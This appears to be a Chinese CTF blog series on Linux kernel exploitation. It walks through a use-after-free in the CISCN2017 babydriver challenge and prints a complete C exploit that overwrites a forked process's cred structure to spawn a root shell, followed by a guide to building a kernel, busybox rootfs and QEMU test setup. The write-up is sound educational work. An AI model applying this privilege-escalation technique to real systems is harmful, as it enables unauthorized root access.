这名字我更熟



### 目的

最终Kernel Pwn的目的都是提权 但是`Kernel UAF`和普通用户态的`UAF`的区别是 内核中往往不会利用堆块之间的链接等关系 来泄漏基地址 最后修改`__malloc_hook`等之类的钩子来实现开shell 因为我们都已经拥有shell了 完全不需要以上这些操作 

内核中往往是通过UAF造成`堆块重叠` 然后尝试`fork`出来一个新进程 使刚刚释放的堆块可控 最后达到修改`cred结构体`的目的

> `cred结构体`内部包含着进程的权限
>
> ```c
> struct cred {
>     atomic_t    usage;
> #ifdef CONFIG_DEBUG_CREDENTIALS
>     atomic_t    subscribers;    /* number of processes subscribed */
>     void        *put_addr;
>     unsigned    magic;
> #define CRED_MAGIC  0x43736564
> #define CRED_MAGIC_DEAD 0x44656144
> #endif
>     kuid_t      uid;        /* real UID of the task */
>     kgid_t      gid;        /* real GID of the task */
>     kuid_t      suid;       /* saved UID of the task */
>     kgid_t      sgid;       /* saved GID of the task */
>     kuid_t      euid;       /* effective UID of the task */
>     kgid_t      egid;       /* effective GID of the task */
>     kuid_t      fsuid;      /* UID for VFS ops */
>     kgid_t      fsgid;      /* GID for VFS ops */
>     unsigned    securebits; /* SUID-less security management */
>     kernel_cap_t    cap_inheritable; /* caps our children can inherit */
>     kernel_cap_t    cap_permitted;  /* caps we're permitted */
>     kernel_cap_t    cap_effective;  /* caps we can actually use */
>     kernel_cap_t    cap_bset;   /* capability bounding set */
>     kernel_cap_t    cap_ambient;    /* Ambient capability set */
> #ifdef CONFIG_KEYS
>     unsigned char   jit_keyring;    /* default keyring to attach requested
>                      * keys to */
>     struct key  *session_keyring; /* keyring inherited over fork */
>     struct key  *process_keyring; /* keyring private to this process */
>     struct key  *thread_keyring; /* keyring private to this thread */
>     struct key  *request_key_auth; /* assumed request_key authority */
> #endif
> #ifdef CONFIG_SECURITY
>     void        *security;  /* subjective LSM security */
> #endif
>     struct user_struct *user;   /* real user ID subscription */
>     struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
>     struct group_info *group_info;  /* supplementary groups for euid/fsgid */
>     /* RCU deletion */
>     union {
>         int non_rcu;            /* Can we skip RCU deletion? */
>         struct rcu_head rcu;        /* RCU deletion hook */
>     };
> } __randomize_layout;
> ```
>
> 只要我们将`uid`和`gid`修改为0 即可实现提权到root

### CISCN2017 - babydriver



#### 文件分析

依然是选用CTFWiki上的题目作为例题 解压附件后是老三样`boot.sh` `bzImage` `rootfs.cpio` 首先我们要做的就是解压文件系统了

> ```bash
> cpio -idv < ./rootfs.cpio
> ```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109180910.png)

我们需要着重看的还是`init `其中可以看出来加载了`babydriver.ko` 

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109180948.png" style="zoom:50%;" />

那么基本上漏洞就是在这里了 



#### 漏洞分析

查个保护 发现没删符号表 十分舒适 直接上IDA

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109181127.png" style="zoom:50%;" />

函数表依旧很清爽

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109181208.png)

先来看看`babydriver_init()` 有了之前编写驱动的基础 大致一扫就知道是注册设备那一套流程 没有什么大用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109181404.png)

下来看看`babyioctl()` 当控制代码为`0x10001`时 实现了`free掉device_buf`然后根据用户的输入重新`malloc一个device_buf`并且将大小存入到`device_buf_len`中

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109181452.png)

接下来就是看看自定义函数了 首先来看看`babyopen` 函数实现了`当打开设备时自动malloc一个0x40的堆块 存放到device_buf`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109181740.png)

`babyread()`实现了将`device_buf中的内容输出到用户空间`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109192750.png)

`babywrite()`实现了`将用户的输入存储到device_buf中`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109192750.png)

`babyrelease()`实现了`free掉device_buf`但是注意 此时没有清空结构体中的指针 造成了`UAF漏洞`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109193004.png)



那么基本思路就有了 因为`babydev_struct结构体`是个全局变量 当多次打开设备的时候 其实是共用一个结构体的 所以我们可以打开两次设备 然后修改`device_buf`的大小为`cred结构体大小` 然后关闭设备 这样这个`cred结构体大小的堆块`就会被free掉 然后我们`fork`一个进程出来 这样这个进程会重新申请一个`cred结构体` 正好就是我们刚刚`kfree掉的那个堆块` 然后使用第一次打开的设备来修改`cred结构体` 实现提权



#### exp编写

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp.c -o exp -static -masm=intel -g
size_t commit_creds;
size_t prepare_kernel_cred;
size_t user_cs,user_ss,user_rflags,user_sp;

void saveStatus()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("Status has been saved...\n");
}

int main(void)
{
    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);

    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    int pid=fork();
    if(pid<0)
    {
        puts("fork error...");
    }
    else if(pid==0)
    {
        // size_t 
        // read(fd2,)
        char zero[30]={0};
        write(fd2,zero,28);
        if(getuid()==0)
        {
            system("/bin/sh");
            return 0;
        }
        else
        {
            puts("cred error");
        }
    }
    else
    {
        wait(NULL);
    }
    
    close(fd2);
    return -1;

    

}
```

老样子 编译好丢进文件系统启动虚拟机即可

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230109193610.png" style="zoom:50%;" />

[Kernel Pwn] 0x03 Kernel UAF

[Kernel Pwn] 0x02 Kernel ROP

[Kernel Pwn] 0x01 编写驱动

离开Glibc的第一天 想他



### 安装依赖

首先建议直接新起一个虚拟机 以免环境污染

```bash
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev fakeroot build-essential ncurses-dev xz-utils libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev
```

### 获取系统镜像

 #### 自行编译内核源码

> 下载地址: https://www.kernel.org/

```bash
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz
tar -xvf linux-5.11.tar.xz
```

解压完成之后 修改编译配置 一般配置文件不需要怎么改动 直接保存即可

```bash
make menuconfig
make bzImage
```

编译过程非常非常非常漫长..可以先吃饭睡觉打豆豆...等到如下提示出现时即为编译完成

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103025257.png" style="zoom:33%;" />

> ##### 可能会遭遇的报错
>
> make[1]: *** 没有规则可制作目标“debian/canonical-certs.pem”，由“certs/x509_certificate_list” 需求
>
> > 尝试修改刚刚保存的配置文件`.config`中的`CONFIG_SYSTEM_TRUSTED_KEYS`属性值 将其清空
> >
> > <img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103023609.png" style="zoom:50%;" />
> >
> > <img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103023546.png" style="zoom:50%;" />
>
> BTF: .tmp_vmlinux.btf: pahole (pahole) is not available
>
> > 缺少依赖 
> >
> > ```
> > sudo apt install dwarves
> > ```



此时目录下的`vmlinux`即为原始内核文件

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103025356.png" style="zoom:50%;" />

而`arch/x86/boot/bzImage`为压缩过后的内核文件

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103025520.png" style="zoom:50%;" />



#### 下载现有内核文件

直接下载也是一种常用的方式 优点就是不用等待编译的时间 但是需要等待下载的时间 怎么取舍要看条件进行选择

```bash
sudo apt search linux-image- 
```

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103025941.png" style="zoom:50%;" />

有很多 选一个喜欢的就行 下载下来之后是一个deb 解压即可得到和上面自行编译一样的目录结构

```bash
sudo apt download linux-image-
```



#### 使用系统内核镜像

在`/boot`内可以直接拿出来用



### 安装busybox

> 下载地址: https://busybox.net/downloads/

```bash
wget https://busybox.net/downloads/busybox-1.35.0.tar.bz2
tar -jxvf busybox-1.35.0.tar.bz2
```

老样子 解压之后进入对应目录保存编译配置文件 

```
make menuconfig
```

注意 这里有个配置需要改一下 在`Setting->Build static binary file (no shared lib)`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103030609.png" style="zoom:33%;" />



<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103030712.png" style="zoom:33%;" />



修改完配置文件之后直接编译就行了 这个会比编译内核快一些

```bash
make install
```

在编译完成之后 本目录下会有`_install`目录 这个将在下一步中打包成为文件系统

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103031136.png" style="zoom:50%;" />



### 构建文件系统

基本以下操作都是固定的了 直接复制执行即可 

一些初始化操作

```bash
cd _install
mkdir -pv {bin,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS
```

配置初始化配置文件`etc/inttab`

```bash
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
```

配置初始化脚本 `etc/init.d/rcS` 主要是各个目录的挂载

```
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s
```

配置用户组 新建了`ctf`和`root`两个组 `ctf`和`root`两个用户

```bash
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
```

打包文件系统为镜像文件 输出路径可以自己选

```bash
find . | cpio -o --format=newc > ../../rootfs.cpio
```



#### 后续向文件系统内添加文件

不可避免的后续我们可能想向文件系统内添加各种东西 这个时候我们有两种选择 要么直接修改`_install`然后重新打包 这样简单但是容易造成环境污染 或者是我们解压刚刚打包的文件系统 然后添加新文件

解压文件系统 会将文件系统解压到当前目录内

```bash
cpio -idv < ./rootfs.cpio
```

然后我们可以添加文件 再使用上面同样的打包命令打包

```bash
find . | cpio -o --format=newc > ../../rootfs.cpio
```



### 测试运行内核

将之前的内核`bzImage`和文件系统`rootfs.cpio`放到同一级目录下 编写启动脚本

```bash
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -s
```

>-m：虚拟机内存大小
>-kernel：内存镜像路径
>-initrd：磁盘镜像路径
>-append：附加参数选项
>nokalsr：关闭内核地址随机化，方便我们进行调试
>loglevel=3& quiet：不输出log
>console=ttyS0：指定终端为/dev/ttyS0，这样一启动就能进入终端界面
>-monitor：将监视器重定向到主机设备/dev/null
>-cpu：设置CPU安全选项，在这里开启了smep保护
>-s：相当于-gdb tcp::1234的简写（也可以直接这么写），后续我们可以通过gdb连接本地端口进行调试



直接运行启动脚本即可启动刚刚我们编译好的内核

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230103032818.png" style="zoom:50%;" />



> **可能会遭遇的报错**
>
> qemu-system-x86_64 not found
>
> ```bash
> sudo apt-get install qemu-system-x86
> ```



####